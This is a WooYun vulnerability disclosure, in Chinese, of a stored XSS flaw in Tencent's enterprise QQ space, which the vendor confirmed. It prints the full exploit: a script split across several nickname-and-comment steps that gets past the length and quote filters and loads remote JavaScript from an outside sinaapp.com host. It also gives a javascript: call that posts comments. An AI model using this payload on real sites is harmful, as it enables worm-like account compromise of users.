当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-010928

漏洞标题:当注释不在单纯的时候企业QQ空间储存跨站可蠕动

相关厂商:腾讯

漏洞作者: 啤酒

提交时间:2012-08-15 11:26

修复时间:2012-09-29 11:27

公开时间:2012-09-29 11:27

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-15: 细节已通知厂商并且等待厂商处理中
2012-08-16: 厂商已经确认,细节仅向厂商公开
2012-08-26: 细节向核心白帽子及相关领域专家公开
2012-09-05: 细节向普通白帽子公开
2012-09-15: 细节向实习白帽子公开
2012-09-29: 细节向公众公开

简要描述:

企业QQ空间储存跨站,擦早上8点起来洞还在.9点后就被封了.白熬到2点,还说今天把蠕动代码写出来一起交的.我QQ被监控了?

详细说明:

企业QQ空间新闻详细页面一处跨站,对QQ昵称没有过滤且储存当前昵称造成跨站,貌似腾讯在修复.结合页面上一些功能可蠕动.下面是突破代码.
重点:
1. 突破长度限制
2. 突破单双引号过滤
3. 注释原文的一些标签
漏洞发现过程.昨天回家蛋疼想去网吧.刚上没多久有个叫(婼瑶美800017570)企业QQ就加我为了好友。哥很是生气.他怎么会知道我QQ的.一直郁闷到回家.回家后打开抓包打开他企业空间--登录.这时抓包发现企业QQ页面的一键登录有个跳转页.里面返回的居然是完全没有过滤的QQ号昵称.当时只是想这里只能弹自己.一转念好不容易挖到个洞,哪能这样放过喃.接下来翻了下企业QQ功能居然有发表评论的.于是带领xss的QQ 昵称立即发表一条评论.果然弹了,很明显储存的.接下来的就是看这昵称是联表查的还是直接储存的.测试结果很乐观.可能开发人员出于性能考虑.此处昵称是同步QQ昵称后储存下来的。
剩下的就是测试回复的过滤情况.这里看似简单.实际上缺少经验的我,是把跨站流程都写好了才想到要测试内容部分的过滤情况.白白浪费了一个小时.苦逼的是之前写的绕过全浪费了.最后发现单双引号都被过滤了.泪奔啊.
下面是最终代码.结合其页面的功能可以做个蠕动.
由于这里的留言是最新的排上面所以js要倒着写

最后一步改QQ昵称发表后得到如下
<script>/* 2012.08.15 00:51</p>
评论内容
倒数第二改QQ昵称发表后得到如下
*/a="script";/*
2012.08.15 00:51</p>
评论内容
倒数第三步改QQ昵称发表后得到如下
*/b='http://nxxx';/*
2012.08.15 00:51</p>
评论内容
倒数第四步改QQ昵称发表后得到如下
*/c='.sinaapp.com';/*
2012.08.15 00:51</p>
评论内容
倒数第5步改QQ昵称发表后得到如下
*/d='/bqq.php';/*
2012.08.15 00:51</p>
在回复中把拼接绕过单双引号和QQ昵称长度限制*/e=document.createElement(a);e.src=b+c+d;document.body.appendChild(e);/*
倒数第6步
*/</script>


中间会有1-2次由于js不完全会导致错误.不能打开评论输入框,结合企业QQ空间自己的jquery新闻本页面的浏览器地址栏javascript伪协议绕过来路和各种检测.
nid 是当前文章编号content是发送内容
javascript:$.ajax({url: '/CreateComment.html', type: 'POST', dataType: 'json',data: {nid:'109',content:'1'}})
至此成功弹出.
ps:tx的同学评论功能早上怎么关了.

漏洞证明:

最后一步<script>/*
2012.08.15 00:51</p>
内容
倒数第二
*/a="script";/*
2012.08.15 00:51</p>
内容
倒数第三步
*/b='http://nxxx';/*
2012.08.15 00:51</p>
内容
倒数第四步
*/c='.sinaapp.com';/*
2012.08.15 00:51</p>
内容
倒数第5步
*/d='/bqq.php';/*
2012.08.15 00:51</p>
在回复中把拼接绕过单双引号和QQ昵称长度限制*/e=document.createElement(a);e.src=b+c+d;document.body.appendChild(e);/*
倒数第6步
*/</script>

修复方案:

过滤

版权声明:转载请注明来源 啤酒@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-08-16 17:19

厂商回复:

感谢反馈,我们正在处理中

最新状态:

暂无